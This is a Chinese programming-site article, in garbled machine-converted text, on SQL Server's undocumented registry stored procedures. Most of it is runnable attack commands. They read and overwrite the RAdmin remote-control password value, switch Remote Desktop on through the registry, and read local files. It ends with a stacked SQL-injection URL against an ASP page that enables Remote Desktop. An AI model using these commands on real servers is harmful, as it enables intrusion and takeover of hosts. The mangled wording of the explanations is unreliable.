程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> 其他數據庫知識 >> MSSQL >> 幾個擴大存儲進程應用辦法

幾個擴大存儲進程應用辦法

編輯:MSSQL

幾個擴大存儲進程應用辦法。本站提示廣大學習愛好者:(幾個擴大存儲進程應用辦法)文章只能為提供參考,不一定能成為您想要的結果。以下是幾個擴大存儲進程應用辦法正文


SQL Server中包括了幾個可以拜訪體系注冊表的擴大存儲進程.但現實上這幾個擴大存儲進程是未地下的,從sql server 7.0就有了,
在SQL server 2000中依然保存,他們今後能夠會刪除.然則這幾個存儲進程卻供給了在以後的SQL Server版本中拜訪體系注冊表的才能,
並且許多人應用SQL Server來停止進擊體系時,常常都邑用到這幾個擴大存儲進程.所以最好在SQL Server中禁用他們.
xp_regenumvalues 以多個記載集方法前往一切鍵值
應用辦法:
xp_regenumvalues 注冊表根鍵, 子鍵
好比說,想看看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 的一切鍵值:

use master
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'

xp_regread 前往制訂鍵的值
應用辦法:
xp_regread 根鍵,子鍵,鍵值名
use master
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
獲得暗碼
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
長途桌面開啟為0
xp_regwrite 寫入注冊表
應用辦法:
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
use master
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23;--

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY','';--
必需清空後再寫新數值
修正勝利的條件是值為空
留意值類型有2種REG_SZ 表現字符型,相當於新建字符串值,REG_DWORD 表現整型,相當於新建DWORD值
REG_BINARY
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',1;--
禁用長途桌面
xp_regdeletevalue 刪除某個值
應用辦法:
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
use master
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'

xp_regdeletekey 刪除鍵,包含該鍵下一切值
應用辦法:
use master
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'

運轉條件SA
能夠用途不是很年夜,也沒深刻研討,由於認為讀asp用xp_makecab更便利點,僅供思想擴大。
辦法1.bulk insert aaa FROM 'c:\1.txt'
辦法2.xp_readerrorlog 1,'c:\1.txt'
開啟長途桌面http://192.168.200.188/product_list.asp?classid=14;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',0;--
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved